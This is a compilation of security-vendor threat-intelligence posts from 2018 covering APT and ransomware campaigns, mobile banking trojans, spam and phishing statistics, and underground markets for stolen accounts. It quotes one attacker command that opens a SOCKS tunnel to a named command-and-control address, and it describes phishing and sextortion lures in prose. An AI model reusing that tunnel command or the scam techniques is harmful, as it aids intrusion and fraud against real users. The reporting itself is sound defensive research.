This campaign should be a lesson to all of us and a warning to businesses relying on third-party software. Do not automatically trust the code running on your systems. Neither a good-looking website, nor a solid company profile, nor digital certificates guarantee the absence of backdoors. Trust has to be earned and proven.

You can read our Operation AppleJeus report here.


Since March 2018, we have found several infections where a previously unknown Trojan was injected into the ‘lsass.exe’ system process memory. These implants were injected by the digitally signed 32- and 64-bit network filtering driver NDISProxy. Interestingly, this driver is signed with a digital certificate that belongs to the Chinese company LeagSoft, a developer of information security software based in Shenzhen, Guangdong. We informed the company about the issue via CN-CERT.

The campaign targeted Central Asian government organizations and we believe the attack was linked to a high-level meeting in the region. We believe that the Chinese-speaking threat actor LuckyMouse is responsible for this campaign. The choice of the Earthworm tunneler used in the attack is typical for Chinese-speaking actors. Also, one of the commands used by the attackers (“-s rssocks -d 103.75.190[.]28 -e 443”) creates a tunnel to a previously known LuckyMouse command-and-control (C2) server. The choice of victims in this campaign also aligns with the previous interests shown by this threat actor.

The malware consists of three modules: a custom C++ installer, the NDISProxy network filtering driver and a C++ Trojan:

We have not seen any indications of spear phishing or watering hole activity. We think the attackers spread their infectors through networks that were already compromised.

The Trojan is a full-featured RAT capable of executing common tasks such as command execution, and downloading and uploading files. The attackers use it to gather a target’s data, make lateral movements and create SOCKS tunnels to their C2 using the Earthworm tunneler. This tool is publicly available and is popular among Chinese-speaking actors. Given that the Trojan is an HTTPS server itself, we believe that the SOCKS tunnel is used for targets without an external IP, so that the C2 is able to send commands.

You can read our LuckyMouse report here.

Financial fraud on an industrial scale

Usually, attacks on industrial enterprises are associated with cyber-espionage or sabotage. However, we recently discovered a phishing campaign designed to steal money from such organizations – primarily manufacturing companies.

The attackers use standard phishing techniques to lure their victims into clicking on infected attachments, using emails disguised as commercial offers and other financial documents. The criminals use legitimate remote administration applications – either TeamViewer or RMS (Remote Manipulator System). These programs were employed to gain access to the device, then scan for information on current purchases, and financial and accounting software. The attackers then use different ploys to steal company money – for example, by replacing the banking details in transactions. At the time we published our report, on August 1, we had seen infections on around 800 computers, spread across at least 400 organizations in a wide array of industries – including manufacturing, oil and gas, metallurgy, engineering, energy, construction, mining and logistics. The campaign has been ongoing since October 2017.

Our research highlights that even when threat actors use simple techniques and known malware they can successfully attack industrial companies by using social engineering tricks and hiding their code in target systems – using legitimate remote administration software to evade detection by antivirus solutions. Remote administration capabilities give criminals full control of compromised systems, so possible attack scenarios are not limited to the theft of money. In the process of attacking their targets, the attackers steal sensitive data belonging to target organizations, their partners and customers, carry out surreptitious video surveillance of company employees and record audio and video using devices connected to infected machines. While the series of attacks targets primarily Russian organizations, the same tactics and tools could be successfully used in attacks against industrial companies anywhere.

You can find out more about how attackers use remote administration tools to compromise their targets here, and an overview of attacks on ICS systems in the first half of 2018 here.

Malware stories Exploiting the digital gold rush

For some time now, we’ve been tracking a dramatic decline in ransomware and a massive growth in cryptocurrency mining. The number of people who encountered miners grew from 1,899,236 in 2016-17 to 2,735,611 in 2017-18. This is clearly because it’s a lucrative activity for cybercriminals – we estimate that mining botnets generated more than $7,000,000 in the second half of 2017. Not only are we seeing purpose-built cryptocurrency miners, we’re also seeing existing malware adding this functionality to their arsenal.

The ransomware Trojan Rakhni is a case in point. The malware loader chooses which component to install depending on the device. The malware, which we have seen in Russia, Kazakhstan, Ukraine, Germany and India, is distributed through spam mailings with malicious attachments. One of the samples we analysed masquerades as a financial document. When loaded, this appears to be a document viewer. The malware displays an error message explaining why nothing has opened. It then disables Windows Defender and installs forged digital certificates.

The malware checks to see if there are Bitcoin-related folders on the computer. If there are, it encrypts files and demands a ransom. If not, it installs a cryptocurrency miner. Finally, the malware tries to spread to other computers within the network. You can read our analysis of Rakhni here.

Cybercriminals don’t just use malware to cash in on the growing interest in cryptocurrencies; they also use established social engineering techniques to trick people out of their digital money. This includes sending links to phishing scams that mimic the authorization pages of popular crypto exchanges, to trick their victims into giving the scammers access to their crypto exchange account – and their money. In the first half of 2018, we saw 100,000 of these attempts to redirect people to such fake pages.

The same approach is used to gain access to online wallets, where the ‘hook’ is a warning that the victim will lose money if they don’t go through a formal identification process – the attackers, of course, harvest the details entered by the victim. This method works just as well where the victim is using an offline wallet stored on their computer.

Scammers also try to use the speculation around cryptocurrencies to trick people who don’t have a wallet: they lure them to fake crypto wallet sites, promising registration bonuses, including cryptocurrency. In some cases, they harvest personal data and redirect the victim to a legitimate site. In others, they open a real wallet for the victim, which is compromised from the outset. Online wallets and exchanges aren’t the only focus of the scammers; we have also seen spoof versions of services designed to facilitate transactions with digital coins stored on the victim’s computer.

Earlier this year, we provided some advice on choosing a crypto wallet.

We recently discovered a cryptocurrency miner, named PowerGhost, focused mainly on workstations and servers inside corporate networks – thereby hoping to commandeer the power of multiple processors in one fell swoop. It’s not uncommon to see cybercriminals infect clean software with a malicious miner to promote the spread of their malware. However, the creators of PowerGhost went further, using fileless methods to establish it in a compromised network. PowerGhost tries to log in to network user accounts using WMI (Windows Management Instrumentation), obtaining logins and passwords using the Mimikatz data extraction tool. The malware can also be distributed using the EternalBlue exploit (used last year in the WannaCry and ExPetr outbreaks). Once a device has been infected, PowerGhost tries to enhance its privileges using operating system vulnerabilities. Most of the attacks we’ve seen so far have been in India, Turkey, Brazil and Colombia.

KeyPass ransomware

The number of ransomware attacks has been declining in the last year or so. Nevertheless, this type of malware remains a problem and we continue to see the development of new ransomware families. Early in August, our anti-ransomware module started detecting the ‘KeyPass‘ Trojan. In just two days, we found this malware in more than 20 countries – Brazil and Vietnam were hardest hit, but we also found victims in Europe, Africa and the Far East.

We believe that the criminals behind KeyPass use fake installers that download the malware.

KeyPass encrypts all files, regardless of extension, on local drives and network shares that are accessible from the infected computer. It ignores some files located in directories that are hardcoded in the malware. Encrypted files are given the additional extension ‘KEYPASS’, and ransom notes called ‘!!!KEYPASS_DECRYPTION_INFO!!!.txt’ are saved in each directory containing encrypted files.

The creators of this Trojan implemented a very simplistic scheme. The malware uses the symmetric algorithm AES-256 in CFB mode with zero IV and the same 32-byte key for all files. The Trojan encrypts a maximum of 0x500000 bytes (~5 MB) of data at the start of each file.

Shortly after launch, the malware connects to its C2 server and obtains the encryption key and infection ID for the current victim. The data is transferred over plain HTTP in the JSON format. If the C2 is unavailable – for example, the infected computer is not connected to the internet, or the server is down – the malware uses a hardcoded key and ID. As a result, in the case of offline encryption, decryption of the victim’s files will be trivial.

Probably the most interesting feature of the KeyPass Trojan is its ability to take ‘manual control’. The Trojan contains a form that is hidden by default, but which can be shown after pressing a special button on the keyboard. This form allows the criminals to customize the encryption process by changing such parameters as the encryption key, the name of the ransom note, the text of the ransom, the victim ID, the extension of encrypted files and the list of directories to be excluded from encryption. This capability suggests that the criminals behind the Trojan might intend to use it in manual attacks.

Sextortion with a twist

Scams come in many forms, but the people behind them are always on the lookout for ways to lend credibility to the scam and maximise their opportunity to make money. One recent ‘sextortion’ scam uses stolen passwords for this purpose. The victim receives an email message claiming that their computer has been compromised and that the attacker has recorded a video of them watching pornographic material. The attackers threaten to send a copy of the video to the victim’s contacts unless they pay a ransom within 24 hours. The ransom demand is $1,400, payable in bitcoins.

The scammer includes a legitimate password in the message, in a bid to convince the victim that they have indeed been compromised. It seems that the passwords used are real, although in some cases at least they are very old. The passwords were probably obtained in an underground market and came from an earlier data breach.

The hunt for corporate passwords

It’s not just individuals who are targeted by phishing attacks – starting from early July, we saw malicious spam activity targeting corporate mailboxes. The messages contained an attachment with an .ISO extension that we detect as Loki Bot. The objective of the malware is to steal passwords from browsers, messaging applications, mail and FTP clients, and cryptocurrency wallets, and then to forward the data to the criminals behind the attacks.

The messages are diverse in nature. They include fake notifications from well-known companies:

Or fake orders or offers:

The scammers pass off malicious files as financial documents: invoices, transfers, payments, etc. This is a fairly popular malicious spamming technique, with the message body usually consisting of no more than a few lines and the subject mentioning the fake attachment.

Each year we see an increase in spam attacks on the corporate sector aimed at obtaining confidential corporate information: intellectual property, authentication data, databases, bank accounts, etc. That’s why it’s essential for corporate security strategy to include both technical protection and staff education – to stop them becoming the entry-point for a cyberattack.

Botnets: the big picture

Spam mailshots with links to malware, and bots downloading other malware, are just two botnet deployment scenarios. The choice of payload is limited only by the imagination of the botnet operator or their customers. It might be ransomware, a banker, a miner, a backdoor, etc. Every day we intercept numerous file download commands sent to bots of various types and families. We recently presented the results of our analysis of botnet activity for H2 2017 and H1 2018.

Here are the main trends that we identified by analyzing the files downloaded by bots:

  • The share of miners in bot-distributed files is increasing, as cybercriminals have begun to view botnets as a tool for cryptocurrency mining.
  • The number of downloaded droppers is also on the rise, reflecting the fact that attacks are multi-stage and growing in complexity.
  • The share of banking Trojans among bot-downloaded files in 2018 decreased, but it’s too soon to speak of an overall reduction in number, since they are often delivered by droppers.
  • Increasingly, botnets are leased according to the needs of the customer, so in many cases it is difficult to pinpoint the ‘specialization’ of the botnet.
Using USB devices to spread malware

USB devices, which have been around for almost 20 years, offer an easy and convenient way to store and transfer digital files between computers that are not directly connected to each other or to the internet. This capability has been exploited by cyberthreat actors – most notably in the case of the state-sponsored threat Stuxnet, which used USB devices to inject malware into the network of an Iranian nuclear facility.

These days the use of USB devices as a business tool is declining, and there is greater awareness of the security risks associated with them. Nevertheless, millions of USB devices are still produced for use at home, in businesses and in marketing promotion campaigns such as trade show giveaways. So they remain a target for attackers.

Kaspersky Lab data for 2017 showed that one in four people worldwide were affected by a local cyber-incident, i.e. one not related to the internet. These attacks are detected directly on a victim’s computer and include infections caused by removable media such as USB devices.

We recently published a review of the current cyberthreat landscape for removable media, particularly USBs, and offered advice and recommendations for protecting these little devices and the data they carry.

Here is a summary of our findings.

  • USB devices and other removable media have been used to spread cryptocurrency mining software since at least 2015. Some victims were found to have been carrying the infection for years.
  • The rate of detection for the most popular bitcoin miner, Trojan.Win64.Miner.all, is growing by around one-sixth year-on-year.
  • Every tenth person infected via removable media in 2018 was targeted with this cryptocurrency miner: around 9.22% – up from 6.7% in 2017 and 4.2% in 2016.
  • Other malware spread through removable media includes the Windows LNK family of Trojans, which has been among the top three USB threats detected since at least 2016.
  • The Stuxnet exploit, CVE-2010-2568, remains one of the top 10 malicious exploits spread via removable media.
  • Emerging markets are the most vulnerable to malicious infection spread by removable media – with Asia, Africa and South America among the most affected – but isolated hits were also detected in countries in Europe and North America.
  • Dark Tequila, a complex banking malware reported in August 2018 has been claiming consumer and corporate victims in Mexico since at least 2013, with the infection spreading mainly through USB devices.
New trends in the world of IoT threats

The use of smart devices is increasing. Some forecasts suggest that by 2020 the number of smart devices will exceed the world’s population several times over. Yet manufacturers still don’t prioritize security: there are no reminders to change the default password during initial setup or notifications about the release of new firmware versions, and the updating process itself can be complex for the average consumer. This makes IoT devices a prime target for cybercriminals. Easier to infect than PCs, they often play an important role in the home infrastructure: some manage internet traffic, others shoot video footage and still others control domestic devices – for example, air conditioning.

Malware for smart devices is increasing not only in quantity but also quality. More and more exploits are being weaponized by cybercriminals, and infected devices are used to launch DDoS attacks, to steal personal data and to mine cryptocurrency.

You can read our report on IoT threats here, including tips on how to reduce the risk of smart devices being infected.

A look at the Asacub mobile banking Trojan

The first version of Asacub, which we saw in June 2015, was a basic phishing app: it was able to send a list of the victim’s apps, browser history and contact list to a remote C2 server, send SMS messages to a specific phone number and turn off the screen on demand. This mobile Trojan has evolved since then, off the back of a large-scale distribution campaign by its creators in spring and summer 2017), helping it to claim top spot in last year’s ranking of mobile banking Trojans – out-performing other families such as Svpeng and Faketoken. The Trojan has claimed victims in a number of countries, but the latest version steals money from owners of Android devices connected to the mobile banking service of one of Russia’s largest banks.

The malware is spread via an SMS messages containing a link and an offer to view a photo or MMS message. The link directs the victim to a web page containing a similar sentence and a button for downloading the Trojan APK file to the device.

Asacub masquerades as an MMS app or a client of a popular free ads service.

Once installed, the Trojan starts to communicate with the C2 server. Data is transferred in JSON format and includes information about the victim’s device – smartphone model, operating system, mobile operator and Trojan version.

Asacub is able to withdraw funds from a bank card linked to the phone by sending an SMS for the transfer of funds to another account using the number of the card or mobile phone. Moreover, the Trojan intercepts SMS messages from the bank that contain one-time passwords and information about the balance of the linked bank card. Some versions of the Trojan can autonomously retrieve confirmation codes from such SMS messages and send them to the required number. What’s more, the victim can’t subsequently check the balance via mobile banking or change any settings, because after receiving a command with the code 40, the Trojan prevents the banking app from running on the phone.

You can read more here.

BusyGasper – the unfriendly spy

Early in 2018, our mobile intruder detection technology was triggered by a suspicious Android sample that turned out to belong to a new spyware family that we named BusyGasper. The malware isn’t sophisticated, but it does demonstrate some unusual features for this type of threat. BusyGasper is a unique spy implant with stand-out features such as device sensor listeners, including motion detectors that have been implemented with a degree of originality. It has an incredibly wide-ranging protocol – about 100 commands – and an ability to bypass the Doze battery saver. Like other modern Android spyware, it is capable of exfiltrating data from messaging applications – WhatsApp, Viber and Facebook. It also includes some keylogging tools – the malware processes every user tap, gathering its co-ordinates and calculating characters by matching given values with hardcoded ones.

The malware has a multi-component structure and can download a payload or updates from its C2 server, which happens to be an FTP server belonging to the free Russian web hosting service Ucoz. It is noteworthy that BusyGasper supports the IRC protocol, which is rarely seen among Android malware. In addition, it can log in to the attacker’s email inbox, parse emails in a special folder for commands and save any payloads to a device from email attachments.

There is a hidden menu for controlling the different implants that seems to have been created for manual operator control. To activate the menu, the operator needs to call the hardcoded number 9909 from an infected device.

The operator can use this interface to type any command. It also shows a current malware log.

This particular operation has been active since May. We have found no evidence of spear phishing or other common infection method. Some clues, such as the existence of a hidden menu mentioned above, suggest a manual installation method – the attackers gaining physical access to a victim’s device in order to install the malware. This would explain the number of victims – less than 10 in total, all located in the Russia. There are no similarities to commercial spyware products or to other known spyware variants, which suggests that BusyGasper is self-developed and used by a single threat actor. At the same time, the lack of encryption, use of a public FTP server and the low OPSEC level could indicate that less skilled attackers are behind the malware.

Thinking outside the [sand]box

One of the security principles built into the Android operating system is that all apps must be isolated from one another. Each app, along with its private files, operate in ‘sandbox’ that can’t be accessed by other apps. The point is to ensure that, even if a malicious app infiltrates your device, it’s unable to access data held by legitimate apps – for example, the username and password for your online banking app, or your message history. Unsurprisingly, hackers try to find ways to circumvent this protection mechanism.

In August, at DEF CON 26, Checkpoint researcher, Slava Makkaveev, discussed a new way of escaping the Android sandbox, dubbed a ‘Man-in-the-Disk’ attack.

Android also has a shared external storage, named External Storage. Apps must ask the device owner for permission to access this storage area – the privileges required are not normally considered dangerous, and nearly every app asks for them, so there is nothing suspicious about the request per se. External storage is used for lots of useful things, such as to exchange files or transfer files between a smartphone and a computer. However, external storage is also often used for temporarily storing data downloaded from the internet. The data is first written to the shared part of the disk, and then transferred to an isolated area that only that particular app can access. For example, an app may temporarily use the area to store supplementary modules that it installs to expand its functionality, additional content such as dictionaries, or updates.

The problem is that any app with read/write access to the external storage can gain access to the files and modify them, adding something malicious. In a real-life scenario, you may install a seemingly harmless app, such as a game, that may nevertheless infect your smartphone with malware. Slava Makkaveev gave several examples in his DEF CON presentation.

Google researchers discovered that the same method of attack could be applied to the Android version of the popular game, Fortnite. To download the game, players need to install a helper app first, and it is supposed to download the game files. However, using the Man-in-the-Disk attack, someone can trick the helper into installing a malicious app. Fortnite developers – Epic Games – have already issued a new version of the installer. So, if you’re a Fortnite player, use version 2.1.0 or later to be sure that you’re safe. If you have Fortnite already installed, uninstall it and then reinstall it from scratch using the new version.

How safe are car sharing apps?

There has been a growth in car sharing services in recent years. Such services clearly provide flexibility for people wanting to get around major cities. However, it raises the question of security – how safe is the personal information of people using these services?

The obvious reason why cybercriminals might be interested in car sharing is because they want to ride in someone’s car at someone else’s expense. But this could be the least likely scenario – it’s a crime that requires a physical point of presence and there are ways to cross check if the person who makes the booking is the one who gets the ride. The selling of hijacked accounts might be a more viable reason – driven by demand from those who don’t have a driving license or who have been refused registration by the car sharing service’s security team. Offers of this nature already exist on the market. In addition, if someone manages to hijack someone else’s car sharing account, they can track all their trips and steal things that are left behind in the car. Finally, a car that is fraudulently rented in somebody else’s name can always be driven to some remote place and cannibalized for spare parts, or used for criminal activity.

We tested 13 apps to see if their developers have considered security.

First, we checked to see if the apps could be launched on an Android device with root privileges and to see how well the code is obfuscated. This is important because most Android apps can be decompiled, their code modified (for example, so that user credentials are sent to a C2 server), then re-assembled, signed with a new certificate and uploaded again to an app store. An attacker on a rooted device can infiltrate the app’s process and gain access to authentication data.

Second, we checked to see if it was possible to create a username and password when using a service. Many services use a person’s phone number as their username. This is quite easy for cybercriminals to obtain as people often forget to hide it on social media, while car sharing customers can be identified on social media by their hashtags and photos.

Third, we looked at how the apps work with certificates and if cybercriminals have any chance of launching successful Man-in-the-Middle attacks. We also checked how easy it is to overlay an app’s interface with a fake authorization window.

The results of our tests were not encouraging. It’s clear that app developers don’t fully understand the current threats to mobile platforms – this is true for both the design stage and when creating the infrastructure. A good first step would be to expand the functionality for notifying customers of suspicious activities – only one service currently sends notifications to customers about attempts to log in to their account from a different device. The majority of the apps we analysed are poorly designed from a security standpoint and need to be improved. Moreover, many of the programs are not only very similar to each other but are actually based on the same code.

You can read our report here, including advice for customers of car sharing services and recommendations for developers of car sharing apps.

Spam and phishing in Q3 2018

Tue, 11/06/2018 - 05:01

Quarterly highlights Personal data in spam

We have often said that personal data is candy on a stick to fraudsters and must be kept safe (that is, not given out on dubious websites). It can be used to gain access to accounts and in targeted attacks and ransomware campaigns.

In Q3, we registered a surge of fraudulent emails in spam traffic. This type of scam we have already reported at the beginning of the year. A ransom (in bitcoins) is demanded  in exchange for not disclosing the “damaging evidence” concerning the recipients. The new wave of emails contained users’ actual personal data (names, passwords, phone numbers), which the scammers used to try to convince victims that they really had the information specified in the message. The spam campaign was carried out in several stages, and it is likely that the fraudsters made use of a range of personal information databases, as evidenced, for example, by the telephone number formats that varied from stage to stage.

Whereas before, the target audience was primarily English-speaking, in September we logged a spate of mailings in other languages, including German, Italian, Arabic, and Japanese.

The amount demanded by the ransomers ranged from a few hundred to several thousand dollars. To collect the payments, different Bitcoin wallets were used, which changed from mailing to mailing. In July, 17 transactions worth more than 3 BTC ($18,000 at the then exchange rate) were made to one of such wallets.

Transactions to scammers’ Bitcoin wallets

Also in Q3, we detected a malicious spam campaign aimed at corporate users. The main target was passwords (for browsers, instant messengers, email and FTP clients, cryptocurrency wallets, etc.). The cybercriminals attempted to infect victim computers with Loki Bot malware, concealing it in ISO files attached to messages. The latter were made to look like business correspondence or notifications from well-to-do companies.

Malicious spam attacks against the banking sector

The owners of the Necurs botnet, which in Q2 was caught sending malicious emails with IQY (Microsoft Excel Web Query) attachments, turned their attention to the banking sector and, like in Q2, used a non-typical file format for spam, this time PUB (Microsoft Publisher). Messages were sent to the email addresses of credit institutions in different countries, and the PUB file attachments contained Trojan loaders for downloading executable files (detected as Backdoor.Win32.RA-based) onto victim computers.

We observed that the owners of Necurs are making increasing use of various techniques to bypass security solutions and send malicious spam containing attachments with non-typical extensions so as not to arouse users’ suspicion.

New iPhone launch

Late Q3 saw the release of Apple’s latest gizmo. Unsurprisingly, it coincided with a spike in email spam from Chinese “companies” offering Apple accessories and replica gadgets. Links in such messages typically point to a recently created, generic online store. Needless to say, having transferred funds to such one-day websites, you lose your money and your goods are not arriving.

The release also went hand in hand with a slight rise in both the number of phishing schemes exploiting Apple (and its services) and messages with malicious attachments:

Classic pharma spam in a new guise

Spammers are constantly looking for ways to get round mail filters and increase the “deliverability” of their offers. To do so, they try to fabricate emails (both the contents and technical aspects) that look like messages from well-known companies and services. For example, they copy the layout of banking and other notifications and add bona fide headers in the fields that the user is sure to see.

Such techniques, typical of phishing and malicious campaigns, are being used more often in “classic spam” – for example, in messages offering prohibited medicines. For instance, this past quarter we detected messages disguised as notifications from major social networks, including LinkedIn. The messages contained a phoney link that we expected to point to a phishing form asking for personal data, but instead took us to a drug store.

This new approach is taken due to the fact that this type of spam in its traditional form has long been detectable by anti-spam solutions, so spammers started using disguises. We expect this trend to pick up steam.


Since the start of the academic year, scammers’ interest in gaining access to accounts on university websites has risen. We registered attacks against 131 universities in 16 countries worldwide. Cybercriminals want to get their hands on both personal data and academic research.

Fake login pages to personal accounts on university websites

Job search

To harvest personal data, attackers exploit the job-hunting efforts. Pages with application forms lure victims with tempting offers of careers in a big-name company, large salary, and the like.

Propagation methods

This quarter we are again focused on ways in which phishing and other illegitimate content is distributed by cybercriminals. But this time we also want to draw attention to methods that are gaining popularity and being actively exploited by attackers.

Scam notifications

Some browsers make it possible for websites to send notifications to users (for example, Push API in Chrome), and this technology has not gone unnoticed by cybercriminals. It is mainly deployed by websites that collaborate with various partner networks. With the aid of pop-up notifications, users are lured onto “partner” sites, where they are prompted to enter, for example, personal data. The owners of the resource receive a reward for every user they process.

By default, Chrome requests permission to enable notifications for each individual site, and so as to nudge the user into making an affirmative decision, the attackers state that the page cannot continue loading without a little click on the Allow button.

Having given the site permission to display notifications, many users simply forget about it, so when a pop-up message appears on the screen, they don’t always understand where it came from.

Notifications are tailored to the user’s location and displayed in the appropriate language

The danger is that notifications can appear when the user is visiting a trusted resource. This can mislead the victim as regards the source of the message: everything seems to suggest it came from the trusted site currently open. The user might see, for instance, a “notification” about a funds transfer, giveaway, or tasty offer. They all generally lead to phishing sites, online casinos, or sites with fake giveaways and paid subscriptions:

Examples of sites that open when users click on a notification

Clicking on a notification often leads to an online gift card generator, which we covered earlier in the quarter (it also works in the opposite direction: the resource may prompt to enable push notifications). Such generators offer visitors the chance to generate free gift card codes for popular online stores. The catch is that in order to get the generated codes, the visitor needs to prove their humanness by following a special link. Instead of receiving a code, the user is sent on a voyage through a long chain of partner sites with invitations to take part in giveaways, fill out forms, download stuff, sign up for paid SMS mailings, and much more.


The use of media resources is a rather uncommon, yet effective way of distributing fraudulent content. This point is illustrated by the story of the quite popular WEX cryptocurrency exchange, which prior to 2017 went by the name of BTC-E. In August 2018, fake news was inserted into thematic “third tier” Russian media saying that, due to internal problems, the exchange was changing its domain name to

The administration soon tweeted (its tweets are published on the exchange’s home page) that was just another imitator and warned users about transferring funds.

But that did not stop the scammers, who released more news about the exchange moving to a new domain. This time to the .sc zone:


Among the social media platforms used by scammers to distribute content, Instagram warrants a special mention. Only relatively recently have cybercriminals started paying attention to it. In Q3 2018, we came across many fake US Internal Revenue Service user accounts in this social network, as well as many others purporting to be an official account of one of the most widely-used Brazilian banks.

Fake IRS accounts on Instagram

Scammers not only create fakes, but seek access to popular accounts: August this year saw a wave of account hacking sweep through the social network. We observed accounts changing owners as a result of phishing attacks with “account verification” prompts – users themselves delivered their credentials on a plate in the hope of getting the cherished blue tick.

Back when scammers offered to “verify” accounts, there was no such function in the social network: the administration itself decided whom to award the sacred “badge.” Now it is possible to apply for one through the account settings.

Statistics: spam Proportion of spam in email traffic

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Proportion of spam in global email traffic, Q2 and Q3 2018 (download)

In Q3 2018, the largest share of spam was recorded in August (53.54%). The average percentage of spam in global mail traffic was 52.54%, up 2.88 p.p. against the previous reporting period.

Sources of spam by country

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Sources of spam by country, Q3 2018 (download)

The three leading source countries for spam in Q3 were the same as in Q2 2018: China is in first place (13.47%), followed by the USA (10.89%) and Germany (10.37%). Fourth place goes to Brazil (6.33%), and fifth to Vietnam (4.41%).  Argentina (2.64%) rounds off the Top 10.

Spam email size

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Spam email size, Q2 and Q3 2018 (download)

In Q3 2018, the share of very small emails (up to 2 KB) in spam fell by 5.81 p.p. to 73.36%. The percentage of emails sized 5-10 KB increased slightly compared to Q2 (+0.76 p.p.) and amounted to 6.32%. Meanwhile, the proportion of 10-20 KB emails dropped by 1.21 p.p. to 2.47%. The share of 20-50 KB spam messages remained virtually unchanged, climbing a mere 0.49 p.p. to 3.17%.

Malicious attachments: malware families

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Top 10 malicious families in mail traffic, Q3 2018 (download)

According to the results of Q3 2018, still the most common malware in mail traffic were objects assigned the verdict Exploit.Win32.CVE-2017-11882, adding 0.76 p.p. since the last quarter (11.11%). The Backdoor.Win32.Androm bot was encountered more frequently than in the previous quarter and ranked second (7.85%), while Trojan-PSW.Win32.Farei dropped to third place (5.77%). Fourth and fifth places were taken by Worm.Win32.WBVB and Backdoor.Java.QRat, respectively.

Countries targeted by malicious mailshots

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Countries targeted by malicious mailshots, Q3 2018 (download)

The Top 3 countries by number of Mail Anti-Virus triggers in Q3 remain unchanged since the start of the year: Germany took first place (9.83%), with Russia in second (6.61%) and the UK in third (6.41%). They were followed by Italy in fourth (5.76%) and Vietnam in fifth (5.53%).

Statistics: phishing

In Q3 2018, the Anti-Phishing system prevented 137,382,124 attempts to direct users to scam websites. 12.1% of all Kaspersky Lab users worldwide were subject to attack.

Geography of attacks

The country with the highest percentage of users attacked by phishing in Q3 2018 was Guatemala with 18.97% (+8.56 p.p.).

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Geography of phishing attacks, Q3 2018 (download)

Q2’s leader Brazil dropped to second place, with 18.62% of users in this country attacked during the reporting period, up 3.11 p.p. compared to Q2. Third and fourth places went to Spain (17.51%) and Venezuela (16.75%), with Portugal rounding off the Top 5 (16.01%).

Country %* Guatemala 18,97 Brazil 18,62 Spain 17,51 Venezuela 16,75 Portugal 16,01 China 15,99 Australia 15,65 Panama 15,33 Georgia 15,10 Ecuador 15,03

* Share of users on whose computers Anti-Phishing was triggered out of all Kaspersky Lab users in the country

Organizations under attack

The rating of categories of organizations attacked by phishers is based on triggers of the Anti-Phishing component on user computers. It is activated every time the user attempts to open a phishing page, either by clicking a link in an email or a social media message, or as a result of malware activity. When the component is triggered, a banner is displayed in the browser warning the user about a potential threat.
As in the previous quarter, the Global Internet Portals category was in first place, bumping its share up to 32.27% (+7.27 p.p.).

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Distribution of organizations whose users were attacked by phishers, by category, Q3 2018 (download)

Only organizations that can be combined into a general Finance category were attacked more than global Internet portals. This provisional category accounted for 34.67% of all attacks (-1.03 p.p.): banks and payment systems had respective shares of 18.26% and 9.85%; only online stores (6.56%) had to concede fourth place to IT companies (6.91%).


In Q3 2018, the average share of spam in global mail traffic rose by 2.88 p.p. to 52.54%, and the Anti-Phishing system prevented more than 137 million redirects to phishing sites, up 30 million against the previous reporting period.

Spammers and phishers continue to exploit big news stories. This quarter, for instance, great play was made of the release of the new iPhone. The search for channels to distribute fraudulent content also continued. Alongside an uptick in Instagram activity, we spotted fake notifications from websites and the spreading of fake news through media resources.

A separate mention should go to the expanding geography of ransomware spam, featuring the use of victims’ real personal data.

Hey there! How much are you worth?

Mon, 11/05/2018 - 05:00

Have you ever stopped to think just how much your life is worth? I mean really think about it. For instance, let’s say you wanted to sell everything you have – your house, your car, your job, your private life, photos and home movies from your childhood, your accounts on various social media, your medical history and so on – how much would you ask for it all?

I thought about this myself and just the thought that someone else would be able to, for example, read the personal things I’ve written to friends, family and lovers on Facebook made me realize that those things are priceless. The same goes for someone getting access to my email and basically having the power to reset all my passwords for all the accounts I’ve registered using that email.

In the real non-digital world there are lots of insurance policies that cover things if they get damaged or stolen. If someone steals my car or I break my TV, I can replace them if they were insured. We don’t really have that option in the digital world, and our digital life contains some very personal and sentimental information. The big difference is that our digital lives can never be erased – what we’ve said or written, pictures we’ve sent, or orders we’ve made are basically stored forever in the hands of the service providers.

I decided to investigate the black market and see what kind of information is being sold there. We all know that you can buy drugs, weapons and stolen goods there, but you can also buy online identities. How much do you think your online identity is worth?

Hacked accounts

When investigating hacked accounts from popular services it’s almost impossible to compile valid data because there are so many black-market vendors selling this stuff. It is also difficult to verify the uniqueness of the data being sold. But one thing is certain – this is the most popular type of data being sold on the black market. When talking about data from popular services, I’m referring to things like stolen social media accounts, banking details, remote access to servers or desktops and even data from popular services like Uber, Netflix, Spotify and tons of gaming websites (Steam, PlayStation Network, etc.), dating apps, porn websites.

The most common way to steal this data is via phishing campaigns or by exploiting a web-related vulnerability such as an SQL injection vulnerability. The password dumps contain an email and password combination for the hacked services, but as we know most people reuse their passwords. So, even if a simple website has been hacked, the attackers might get access to accounts on other platforms by using the same email and password combination.

These kinds of attacks are not very sophisticated, but they are very effective. It also shows that cybercriminals are making money from hackers and hacktivists; the people selling these accounts are most likely not the people who hacked and distributed the password dump.

The price for these hacked accounts is very cheap, with most selling for about $1 per account, and if you buy in bulk, you’ll get them even cheaper.

Some vendors even give a lifetime warranty, so if one account stops working, you receive a new account for free. For example, below is a screenshot that shows a vendor selling Netflix accounts.

100 000 email and password combinations

250 000 email and password combinations

Passports and identity papers

When lurking around underground marketplaces I saw a lot of other information being traded, such as fake passports, driving licenses and ID cards/scans. This is where things get a bit more serious – most of the identity papers are not stolen, but they can be used to cause problems in the non-digital world.

People can use your identity with a fake ID card to acquire, for example, phone subscriptions, open bank accounts and so on.

Below is a screenshot of a person selling a registered Swedish passport, and the price is $4000. The same vendor was offering passports from almost all European countries.

Scammers’ toolbox

Most of the items being sold in the underground marketplaces are not new to me; they are all things the industry has been talking about for a very long time. What was interesting was the fact that stolen or fake invoices and other papers/scans such as utility bills were being sold.

People actually steal other people’s mail and collect invoices, for example, which are then used to scam other people. They will collect and organize these invoices by industry and country. The vendors then sell these scans as part of a scammer toolbox.

A scammer can use these scans to target victims in specific countries and even narrow their attacks down to gender, age and industry.

During the research I got to thinking about a friend’s (Inbar Raz) research on Tinder bots and, through my research, I managed to find links between stolen accounts and Tinder bots. These bots are used to earn even more money from stolen accounts. So, the accounts are not just sold on the black market, they are also used in other cybercriminal activities.

What’s interesting about the fake Tinder profiles is that they have the following characteristics in common that make them easy to identify:

  • Lots of matches all at once.
  • Most of the women look like super models.
  • No job title or education info.
  • Stolen Instagram pictures/images but with info stolen from Facebook accounts.
  • Scripted chat messages.

Most of the bots that I’ve researched are related to traffic redirection, clickbait, spam and things like that. So far, I haven’t seen any malware – most of the bots will try to involve you in other crime or to steal your data. Here’s an example of what it might look like.

The first step is that you’re matched with the bot. The bot doesn’t always contact you directly, but waits for you to interact with it before it replies. In some cases the introduction is scripted with some text about how it wants to show you nude photos or something similar and then it posts a link.

